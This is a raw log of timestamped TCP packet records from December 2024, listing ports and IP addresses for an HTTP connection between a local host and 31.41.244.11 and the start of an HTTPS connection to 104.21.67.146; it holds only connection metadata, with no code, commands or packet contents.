Dec 19, 2024 03:09:36.668169975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.668273926 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.668327093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.669188023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.669244051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.669403076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.669478893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.670139074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.670197010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.670242071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.670284033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.671097994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.671149015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.671221972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.671267033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.672100067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.672188997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.672266006 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.673069954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.673114061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.673180103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.673270941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.674079895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.674122095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.674199104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.674235106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.675226927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.675263882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.675342083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.675376892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.676112890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.676158905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.676186085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.676223040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.677072048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.677115917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.677190065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.677375078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.678064108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.678212881 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.678248882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.679091930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.679192066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.679236889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.680067062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.680115938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.680160046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.680205107 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.681099892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.681150913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.681207895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.681267023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.682071924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.682120085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.682187080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.682308912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.683073044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.683217049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.683259964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.684086084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.684130907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.684206963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.684329987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.685086966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.685127974 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.685159922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.685197115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.686084032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.686136007 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.686192036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.686232090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.687064886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.687124968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.687196970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.687237024 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.688061953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.688105106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.688196898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.688266993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.689075947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.689121962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.689184904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.689222097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.690085888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.690133095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.690186977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.690224886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.691061020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.691102982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.691163063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.691200972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.692059040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.692102909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.692157030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.692214012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.693064928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.693119049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.693186998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.693231106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.694058895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.694123983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.694164991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.694212914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.695080042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.695131063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.695153952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.695190907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.696079016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.696131945 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.696203947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.696249962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.697097063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.697141886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.697177887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.697227001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.698070049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.698116064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.698169947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.698210955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.699091911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.699136019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.699240923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.699299097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.700045109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.700087070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.700145960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.700186968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.701087952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.701132059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.701185942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.701229095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.702053070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.702097893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.702158928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.702202082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.703059912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.703102112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.703166008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.703207970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.704066038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.704111099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.704169989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.704219103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.705048084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.705099106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.705151081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.705193043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.706048012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.706094980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.706243038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.706286907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.707057953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.707102060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.847214937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.847289085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.847367048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.847418070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.847670078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.847721100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.847759008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.847803116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.848679066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.848722935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.848789930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.848838091 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.849661112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.849710941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.849773884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.849819899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.850652933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.850698948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.850761890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.850806952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.851655006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.851713896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.851761103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.851802111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.852654934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.852709055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.852750063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.852798939 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.853640079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.853703976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.853754044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.853799105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.854625940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.854674101 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.854804039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.854850054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.855637074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.855686903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.855772018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.855828047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.856631994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.856692076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.856748104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.856796980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.857662916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.857731104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.857817888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.857866049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.858656883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.858721018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.858755112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.858803034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.859523058 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:36.859558105 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:36.859642029 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:36.859648943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.859693050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.859767914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.859824896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.860080957 CET	49905	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:36.860095978 CET	443	49905	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:36.860645056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.860691071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.860755920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.860811949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.861665964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.861720085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.861742020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.861792088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.862618923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.862665892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.862735033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.862785101 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.863631010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.863679886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.863740921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.863800049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.864646912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.864696026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.864732027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.864778996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.865628004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.865694046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.865734100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.866024017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.866638899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.866687059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.866736889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.866785049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.867630005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.867683887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.867736101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.867799997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.868604898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.868649960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.868737936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.868782043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.869627953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.869676113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.869720936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.869771957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.870647907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.870693922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.870769978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.870812893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.871622086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.871671915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.871776104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.871822119 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.872709990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.872760057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.872792006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.872837067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.873682976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.873733044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.873791933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.873836994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.874711990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.874761105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.874856949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.874908924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.875619888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.875674963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.875776052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.875824928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.876683950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.876734018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.876838923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.876883984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.877621889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.877671957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.877738953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.877784967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.878618956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.878684044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.878722906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.878777027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.879626036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.879678011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.879734039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.879792929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.880597115 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.880656958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.880702972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.880759954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.881623983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.881669998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.881710052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.881767988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.882611036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.882658958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.882720947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.882766962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.883604050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.883647919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.883706093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.883755922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.884601116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.884644985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.884704113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.884753942 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.885612011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.885678053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.885713100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.885755062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.886610031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.886656046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.886725903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.886775017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.887588978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.887636900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.887675047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.887721062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.888590097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.888633013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.888714075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.888762951 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.889584064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.889627934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.889697075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.889739990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.890613079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.890666008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.890707970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.890757084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.891602039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.891653061 CET	49885	80	192.168.2.5	31.41.244.11
